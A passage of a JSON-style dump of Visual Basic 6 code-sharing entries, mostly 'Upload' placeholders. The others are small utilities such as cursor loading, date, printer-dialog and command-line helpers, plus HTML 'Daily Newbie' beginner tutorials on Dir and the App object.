Sub"},{"WorldId":1,"id":26242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32774,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33752,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27279,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24150,"LineNumber":1,"line":"'put this in your Form_Load event or in whatever you would like to trigger the code.\n'Note be sure that the cursor you want to use is a Animated cursor.\nDim sCursorFile As String\nDim hCursor As Long\nDim hOldCursor As Long\nDim lReturn As Long\n'Pointing to the place where to cursor is.\nsCursorFile = App.Path & \"\\animantedcursor.ani\"\nhCursor = LoadCursorFromFile(sCursorFile)\n'Change the Form1.hwnd to yourformname.hwnd\nhOldCursor = SetClassLong(Form1.hwnd, GCL_HCURSOR, hCursor)\n'Use this to get back to normal cursor again.\n'you can trigger it on form unload event or whatever you want to use to end it.\nlReturn = SetClassLong(Form1.hWnd, GCL_HCURSOR, hOldCursor)"},{"WorldId":1,"id":22508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14347,"LineNumber":1,"line":"If you develop ActiveX DLL's for use via the web, \nthen like me you probably have some shortcuts to start/restart IIS on you HD somewhere. I found any easier way to \ndo this for 2000 users. (I am not sure if this exists on NT4) Just look in your \\WinNT\\system32 folder for iisreset.exe. \n \nIt runs a little bit faster then using the net command and it automatically restarts \nit for you. This is nothing major but I thought someone would find it useful."},{"WorldId":1,"id":24697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34901,"LineNumber":1,"line":"Form1 (starts)\n ======================\nPrivate Sub Form_Load()\nLabel1.Caption = \"Hi all, I am Sachin \"\nTimer1.Enabled = True\nTimer1.Interval = 300\nEnd Sub\nPrivate Sub Timer1_Timer()\nDim str As String\nstr = Form1.Label1.Caption\nstr = Mid$(str, 2, Len(str)) + Left(str, 1)\nForm1.Label1.Caption = str\nEnd Sub\n=================================\nForm1 (Ends)\n"},{"WorldId":1,"id":14593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29150,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35173,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25489,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12343,"LineNumber":1,"line":"Function LastDay(Optional MyMonth As Integer, Optional MyYear As Integer) As Integer\n ' Returns the last day of the month. Takes into account leap years\n ' Usage: LastDay(Month, Year)\n ' Example: LastDay(12,2000) or LastDay(12) or Lastday\n \n If MyMonth = 0 Then MyMonth = Month(Date)\n Select Case MyMonth\n Case 1, 3, 5, 7, 8, 10, 12\n LastDay = 31\n \n Case 4, 6, 9, 11\n LastDay = 30\n \n Case 2\n If MyYear = 0 Then MyYear = Year(Date)\n \n If IsDate(MyYear & \"-\" & MyMonth & \"-\" & \"29\") Then LastDay = 29 Else LastDay = 28\n \n Case Else\n LastDay = 0\n \n End Select\n \nEnd Function"},{"WorldId":1,"id":31787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21735,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12018,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30945,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28243,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26434,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11370,"LineNumber":1,"line":"Public Function GetCmdOpt(cmdline As String, optname As String) As Boolean\n'Returns True, or False if the option (optname)\n'Is inside of the commandline (cmdline).\nretval2 = cmdline\nretval2 = InStr(retval2, optname)\nIf retval2 > 0 Then\nGetCmdOpt = True\nElse\nGetCmdOpt = False\nEnd If\nEnd Function\nPublic Function RemoveOpt(cmdline As String, optname As String) As String\n'Removes a option from a commandline specified in \n'cmdline...optname is the option to be removed.\nretval1 = cmdstr\nretval1 = Replace(retval1, optname, \"\")\nretval1 = Trim(retval1)\nRemoveOpt = retval1\nEnd Function\nPublic Function AddCmdOpt(cmdline As String, optname As String) As String\n'Use to add a option to a commandline...not sure\n'how usefull that could be, but it might.\ninputstr = Trim(inputstr)\ninputstr = inputstr & \" \" & optname\nAddCmdOpt = inputstr\nEnd Function\nPublic Function GetCmdText(cmdline As String, startopt As String, endopt As String) As String\n'Returns the text between 2 options specified...the start, and endoption...\n'the cmdline option is the input commandline\n'...If there is no option(s) specified, it wont do anything..\ncmdline = LCase(cmdline)\nstartopt = LCase(startopt)\nendopt = LCase(endopt)\nIf cmdline <> \"\" Or startopt <> \"\" Or endopt <> \"\" Then\nstartoptlen = InStr(cmdline, startopt)\nendoptlen = InStr(cmdline, endopt)\nIf startoptlen > 0 Or endoptlen > 0 Then\nretval1 = InStr(cmdline, endopt) - InStr(cmdline, startopt)\nretval2 = Mid(cmdline, InStr(cmdline, startopt), retval1)\nretval2 = Replace(retval2, startopt, \"\")\nretval2 = Trim(retval2)\nGetCmdText = retval2\nEnd If\nEnd If\nEnd Function\n\n'''''''''''''''''''''''''''''''''''''''''''''''\nExample how to use each in a progy:\n'Command gets the commandline from your program (myexe.exe thisiscmdmaterial)\nretval = GetCmdOpt(Command, \"-Test\")\nIf retval = True Then\nMsgBox \"The Option WAS in the commandline\"\nElse\nMsgBox \"The Option WAS NOT in the commandline\"\nEnd If\nretval = RemoveOpt(Command, \"-Test\")\nMsgBox \"The returned commadnline after the option was removed is: \" & retval\nretval = getcmdtext(Command, \"-Start\", \"-End\")\nMsgBox \"The text between the start,and end option was: \" & retval"},{"WorldId":1,"id":24541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30717,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12031,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27193,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11158,"LineNumber":1,"line":"'*************************************************\n' modPrinterDialogs:\n' This module displays a number of dialogs, which\n' are provided by the following functions:\n'\n' ConfigureCOMPort(): Configure the specified COM port number (1-4)\n' ConfigureLPTPort(): Configure the specified Printer port number (1-4)\n' ConfigureAPort(): Configure a specified port\n' GetDefaultPrinter(): This function retrieves the definition\n' of the default printer on this system\n' ViewPrinterProperties(): View/change printer properties dialog\n' ViewDocProperties(): View/change document properties\n' ConnectToAPrinter(): Connect to a local/network printer\n'\n'EXAMPLES:\n' Dim dm As DEVMODE 'used to gather data by ViewDocProperties()\n'\n' Call ConfigureAPort(Me, \"COM2:\") 'configure COM port 2\n' Call ConfigureCOMPort(Me, 2) 'configure COM port 2\n' Call ConfigureLPTPort(Me, 1) 'configure LPT port 1\n' Debug.Print GetDefaultPrinter 'display default printer name, device, port\n' Call ViewPrinterProperties(Me) 'view/change default printer's properties\n' Call ConnectToAPrinter(Me) 'connect to a local/network printer\n' Call ViewDocProperties(Me, dm) 'set up document printing options.\n' Debug.Print \"Copies = \" & dm.dmCopies\n' Debug.Print \"Orientation = \" & dm.dmOrientation\n' Debug.Print \"Quality = \" & dm.dmPrintQuality\n'*************************************************\n''''INSERT API/Global goodies here\n'*************************************************\n' ConfigureCOMPort(): Configure the specified COM port number (1-4)\n'*************************************************\nPublic Function ConfigureCOMPort(Frm As Form, PortNumber As Integer)\n ConfigureCOMPort = ConfigurePort(\"\", Frm.hWnd, \"COM\" & CStr(PortNumber) & \":\")\nEnd Function\n'*************************************************\n' ConfigureLPTPort(): Configure the specified Printer port number (1-4)\n'*************************************************\nPublic Function ConfigureLPTPort(Frm As Form, PortNumber As Integer)\n ConfigureLPTPort = ConfigurePort(\"\", Frm.hWnd, \"LPT\" & CStr(PortNumber) & \":\")\nEnd Function\n'*************************************************\n' ConfigureAPort(): Configure a specified port\n'*************************************************\nPublic Function ConfigureAPort(Frm As Form, PortName As String)\n ConfigureAPort = ConfigurePort(\"\", Frm.hWnd, UCase$(PortName))\nEnd Function\n'*************************************************\n' ViewPrinterProperties(): View/change printer properties dialog\n'*************************************************\nPublic Sub ViewPrinterProperties(Frm As Form, Optional PrtDevice As String = \"\")\n Dim hPrinter As Long\n \n hPrinter& = OpenAPrinter(PrtDevice)\n If hPrinter = 0 Then\n If PrtDevice = \"\" Then\n MsgBox \"Unable to open default printer\"\n Else\n MsgBox \"Unable to open \" & PrtDevice & \" printer\"\n End If\n Exit Sub\n End If\n Call PrinterProperties(Frm.hWnd, hPrinter)\n Call ClosePrinter(hPrinter)\nEnd Sub\n'*************************************************\n' ViewDocProperties(): View/change document properties\n'*************************************************\nPublic Sub ViewDocProperties(Frm As Form, MyDevMode As DEVMODE, Optional DeviceName As String = \"\")\n Dim bufsize As Long, res As Long\n Dim dmInBuf As String\n Dim dmOutBuf As String\n Dim hPrinter As Long\n \n hPrinter = OpenAPrinter(DeviceName)\n If hPrinter = 0 Then\n If DeviceName = \"\" Then\n MsgBox \"Unable to open default printer\"\n Else\n MsgBox \"Unable to open \" & DeviceName & \" printer\"\n End If\n Exit Sub\n End If\n ' The output DEVMODE structure will reflect any changes\n ' made by the printer setup dialog box.\n ' Note that no changes will be made to the default\n ' printer settings!\n bufsize = DocumentProperties(Frm.hWnd, hPrinter, DeviceName, 0, 0, 0)\n dmInBuf = String(bufsize, 0)\n dmOutBuf = String(bufsize, 0)\n \n res = DocumentPropertiesStr(Frm.hWnd, hPrinter, DeviceName, dmOutBuf, dmInBuf, DM_IN_PROMPT Or DM_OUT_BUFFER)\n \n ' Copy the data buffer into the DEVMODE structure\n CopyMemoryDM MyDevMode, dmOutBuf, Len(MyDevMode)\nClosePrinter hPrinter\nEnd Sub\n'*************************************************\n' ConnectToAPrinter(): Connect to a local/network printer\n'*************************************************\nPublic Sub ConnectToAPrinter(Frm As Form)\n Call ConnectToPrinterDlg(Frm.hWnd, 0)\nEnd Sub\n'*************************************************\n' GetDefaultPrinter(): This function retrieves the definition\n' of the default printer on this system\n'*************************************************\nPublic Function GetDefaultPrinter() As String\n Dim def As String\n Dim di As Long\n def = String(128, 0)\n di = GetProfileString(\"WINDOWS\", \"DEVICE\", \"\", def, 127)\n If di Then GetDefaultPrinter = Left$(def, di - 1)\nEnd Function\n'*************************************************\n' OpenAPrinter(): open a printer (default or user-specified)\n'*************************************************\nPrivate Function OpenAPrinter(Optional DeviceName As String = \"\") As Long\n Dim dev$, devname As String, devoutput As String\n Dim hPrinter As Long, res As Long\n Dim pdefs As PRINTER_DEFAULTS\n \n pdefs.pDatatype = vbNullString\n pdefs.pDevMode = 0\n pdefs.DesiredAccess = PRINTER_ACCESS_ADMINISTER Or PRINTER_ACCESS_USE\n If DeviceName = \"\" Then\n dev = GetDefaultPrinter() ' Get default printer info\n If dev = \"\" Then Exit Function\n DeviceName = GetDeviceName(dev)\n End If\n devname = DeviceName\n \n ' You can use OpenPrinterBynum to pass a zero as the\n ' third parameter, but you won't have full access to\n ' edit the printer properties\n res = OpenPrinter(devname, hPrinter, pdefs)\n If res <> 0 Then OpenAPrinter = hPrinter\nEnd Function\n'*************************************************\n' Retrieves the name portion of a device string\n'*************************************************\nPrivate Function GetDeviceName(dev As String) As String\n Dim npos As Integer\n \n npos = InStr(dev, \",\")\n GetDeviceName = Left$(dev, npos - 1)\nEnd Function\n"},{"WorldId":1,"id":33847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12660,"LineNumber":1,"line":"its in the \"purose\" section =)"},{"WorldId":1,"id":11612,"LineNumber":1,"line":"'Put this code in the SAME MODULE as the API ABOVE\n'if you would like to download a working example this code go here:\n'http://www.theblackhand.net/mouse/RealMemory.zip\nPublic Function malloc(Strin As String) As Long\n Dim PointerA As Long, lSize As Long\n \n lSize = LenB(Strin) 'Length of string in bytes.\n \n 'Allocate the memory needed and returns a pointer to that memory\n PointerA = LocalAlloc(LPTR, lSize + 4)\n If PointerA <> 0 Then\n 'Final allocation\n CopyMemory ByVal PointerA, lSize, 4\n If lSize > 0 Then\n 'copy the string to that allocated memory.\n CopyMemory ByVal PointerA + 4, ByVal StrPtr(Strin), lSize\n End If\n End If\n 'return the pointer to the string stored memory\n malloc = PointerA\nEnd Function\nPublic Function RetMemory(PointerA As Long) As String\n Dim lSize As Long, sThis As String\n If PointerA = 0 Then\n GetMemory = \"\"\n Else\n 'get the size of the string stored at pointer \"PointerA\"\n CopyMemory lSize, ByVal PointerA, 4\n If lSize > 0 Then\n 'buffer a varible\n sThis = String(lSize \\ 2, 0)\n 'retrive the data at the address of \"PointerA\"\n CopyMemory ByVal StrPtr(sThis), ByVal PointerA + 4, lSize\n 'return the buffer\n RetMemory = sThis\n End If\n End If\nEnd Function\nPublic Sub FreeMemory(PointerA As Long)\n 'frees up the memory at the address of \"PointerA\"\n LocalFree PointerA\nEnd Sub"},{"WorldId":1,"id":11683,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34831,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11918,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11566,"LineNumber":1,"line":"'Option Explicit\nPublic Sub MailToUsers()\n Dim myOlApp As Application\n Dim myItem As MailItem\n Dim Path As String\n Dim myAttachments As Attachments\n Dim db As Database\n Dim rs As Recordset\n Dim BodyMsg As String\n \n On Error GoTo myErr\n \n 'Set Database and Path to use to use\n Set db = OpenDatabase(\"z:\\DatabasePath\\dbDatabaseName.mdb\")\n \n 'Set Path to where Files are located\n Path = \"z:\\SnapshotFilesPath\\\"\n 'Set Value for Body Message\n BodyMsg = \"Type whatever bodymessage you might need\"\n 'Set Recordset to Users Table\n Set rs = db.OpenRecordset(\"tblUsers\")\n \n 'Open or use Outlook\n Set myOlApp = CreateObject(\"Outlook.Application\")\n \n rs.MoveLast\n rs.MoveFirst\n \n Do Until rs.EOF\n \n 'Creates a new Outlook MailItem\n Set myItem = myOlApp.CreateItem(olMailItem)\n With myItem\n .To = rs.Fields(\"[Email]\")\n .Subject = \"Supply your subject line here\"\n .Body = BodyMsg\n End With\n \n 'This Creates an Outlook attachment \n Set myAttachments = myItem.Attachments\n With myAttachments\n 'Do for all reports\n .Add Path & \"\\rptReport1.snp\"\n .Add Path & \"\\rptReport2.snp\" \n \n '************************************\n 'Additional Documents can be added\n 'Supply full Path and File Name\n \n '.Add \"c:\\moc\\Questionnaire Script Changes for Dealer Reports 2000_03.doc\"\n '************************************\n \n 'Use myItem.Save ISO myItem.Send to view before sending\n 'myItem.Save\n myItem.Send\n End With\n \n 'Go to the next user\n rs.MoveNext\n \n Loop\n \n Set myOlApp = Nothing\n Set rs = Nothing\n Set db = Nothing\n Exit Sub\n \nmyErr:\n Resume Next\nEnd Sub\n"},{"WorldId":1,"id":13420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33257,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32343,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31365,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30621,"LineNumber":1,"line":"Public Function FormIsOpen(FormCaption) As Boolean\n FormIsOpen = FindWindow(vbNullString, FormCaption)\nEnd Function\n"},{"WorldId":1,"id":24286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23572,"LineNumber":1,"line":"\n<CENTER>The Daily Newbie</CENTER>\n<TABLE cellspacing=\"0\" cellpadding=\"8\" border=\"0\">\n\t<TR>\n\t\t<TH colspan=\"2\" align=\"middle\" nowrap> To Start \n Things Off Right \n\t\t</TH>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\" width=\"30%\">Today's \n Topic: \n\t\t</TD>\n\t\t<TD valign=\"top\">Using the Dir \n Command\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Name \n Derived From \n\t\t</TD>\n\t\t<TD valign=\"top\">\"Directory\"\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Used \n For: \n\t\t</TD>\n\t\t<TD valign=\"top\">Getting Information about a \n particular folder or file.\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">VB Help \n File Description \n\t\t</TD>\n\t\t<TD valign=\"top\">Returns a String representing \n the name of a file, directory, or folder that matches a specified pattern \n or file attribute, or the volume label of a drive. Syntax \n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Plain \n English Description \n\t\t</TD>\n\t\t<TD valign=\"top\">\nDepending on the paramters set, \n returns:\n\t\t\t<UL type=\"1\">\n\t\t\t\t<LI>The Name of a file in a folder that matches a \n patten (*.txt) \n\t\t\t\t<LI>The name of a sub folder within a folder. \n\t\t\t\t<LI>The name of a hard drive.</LI>\n\t\t\t</UL>\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Usage:\n\t\t</TD>\n\t\t<TD valign=\"top\">\nTo get a file name from a \n directory: strFile = Dir \n (\"c:\\MyFolder\\*.txt\")\nTo get a read-only file name from a directory: strFile = Dir (\"c:\\MyFolder\\*.txt\", \n vbReadOnly)\nTo get a sub-directory from a directory: strFile = Dir (\"c:\\MyFolder\\*\", \n vbDirectory)\nTo get the label of a drive: strFile = Dir (\"d:\", \n vbVolume)\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Parameters:\n\t\t</TD>\n\t\t<TD valign=\"top\">\n\t\t\t<UL>\n\t\t\t\t<LI>Path - The root directory to search from.\n\t\t\t\t<LI>Attribute - One of the following VB attribute \n values: vbNormal (default), vbReadOnly, vbHidden, VbSystem, \n vbVolume, vbDirectory</LI>\n\t\t\t</UL>\n \n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Copy \n & Paste Code: \n\t\t</TD>\n\t\t<TD valign=\"top\">\nToday's copy and paste code lists \n all of the files in a directory to the debug window. For details on usage \n of the Dir ()command in this example, see the Notes below.\n\t\t<PRE> Dim strPathAndPattern As String Dim strFileName As String strPathAndPattern = InputBox(\"Enter a path and search pattern (ex: c:\\windows\\*.exe):\") strFileName = Dir(strPathAndPattern) Debug.Print strFileName While strFileName > \"\" strFileName = Dir Debug.Print strFileName \n Wend</CODE></PRE>\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Notes\n\t\t</TD>\n\t\t<TD valign=\"top\">\n\t\t\t<UL>\n\t\t\t\t<LI>IMPORTANT: To find multiple \n files, you must do a \"two step\" proccess. In the example above, notice \n that the first time Dir() is called (before the While...Wend loop), the \n parameter strPathAndPatten is used. After that, the call is \n simply Dir. (strFileName = Dir). This is sort of confusing if \n you don't know what is going on. When I first used the Dir command, I \n kept getting the same file name over and over. This is because using \n Dir() with a path parameter will always return the FIRST match. To \n get subsequent matches, you simply call Dir(). It remembers the last \n pattern and passes the NEXT match. Really screwy. \n\t\t\t\t<LI>Dir can be used to see if a file already \n exists: If Dir \n (\"c:\\MyFolder\\log.txt\") > \"\" \n Then \n MsgBox \"File Already \n Exists!\" End \n If This is because Dir() will return an empty string (\"\") if \n a match is not found, but will return the file name if a match \n is found. \n\t\t\t\t<LI>Dir can also be used to see if a folder exists, but \n this is a little different. Because of the way Windows handles folder \n names, there is always a folder named \".\" and another named \"..\" . As \n odd as that seems, these names represent the current folder and the \n parent folder. So to find out if a certain folder exists, you can do \n this: If Dir (\"c:\\windows\\system\", \n vbDirectory) > \"..\" Then MsgBox \"Folder \n Already Exists!\" End If \n\t\t\t\t<LI>For a downloadable project using the Dir command, \n <A href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.8369/lngWId.1/qx/vb/scripts/ShowCode.htm\">Click Here</A></LI>\n\t\t\t</UL>\n \n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">\n\t\t</TD>\n\t\t<TD valign=\"top\">\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD colspan=\"2\">\n\t\t</TD>\n\t</TR>\n</TABLE>"},{"WorldId":1,"id":23532,"LineNumber":1,"line":"\n<HTML>\n<HEAD>\n<META http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n<TITLE>Daily Newbie - 05/01/2001</TITLE>\n</HEAD>\n<BODY bgcolor=\"#ffffff\">\n\n<IMG width=\"100%\" height=\"3\" v: shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\n\n \nMay 8,\n2001 \n \n\n\nLove it, hate it, or just don't care, the Daily Newbie is back. I have decided to change the format a little. Although \n\tthe layout is going to be the same as it always was, I am going to start using the PSC Ask A Pro discussion forum\n\tto choose my topics. I find that newbies make up a large part of that forum and they ask some pretty good questions. \n\tAlso, if you have a question, email me and I will try to work it in.\n\n\n\n\nToday’s Topic:\n The App Object\nName Derived\nFrom: \n \"Application\"</A> \n\nUsed for: \nRetriving information about your application at runtime.\nVB Help Description: It determines or specifies information \nabout the application's title, version information, the path and name of its executable file and Help files, \nand whether or not a previous instance of the application is running.\nPlain\nEnglish: Returns information about the running application.\n<FONT< pre>\nSyntax: X = App.{Property} \n<PRE></PRE>\n\n Properties: \nUsage: MsgBox \"This application is named: \" & App.Title \n\n\tNote: This article shows the most common and useful properties for the App object. There are a total of 30 \n\tproperties that you can access from code.\n<BLOCKQUOTE>\n<BLOCKQUOTE>\n<LI>Comments - The comments that were added in the Make tab of the project before compiling.\n<LI>Company Name = The company name that was added in the Make tab before compiling. This is useful for copyright \n\tprotection when creating reusable objects (.dll's or .ocx's)\n\tActiveX .dll's or\n<LI>EXEName - The name of the executable file that is running.\n<LI>FileDescription - Again, entered in the Make tab before compiling. A general description of a project.\n<LI>HelpFile - The Windows help file associated with this application. This property could be used to make sure\n\t\tthe help file exists before trying to open it.\n<LI>Major - The Major application version. In MyApp Version 2.5.34, the Major Version would be \"2\".\n<LI>Minor - The Minor application version. In MyApp Version 2.5.34, the Minor Version would be \"5\".\n<LI>Revision - The Revision (or \"Build\") number of they application version. In 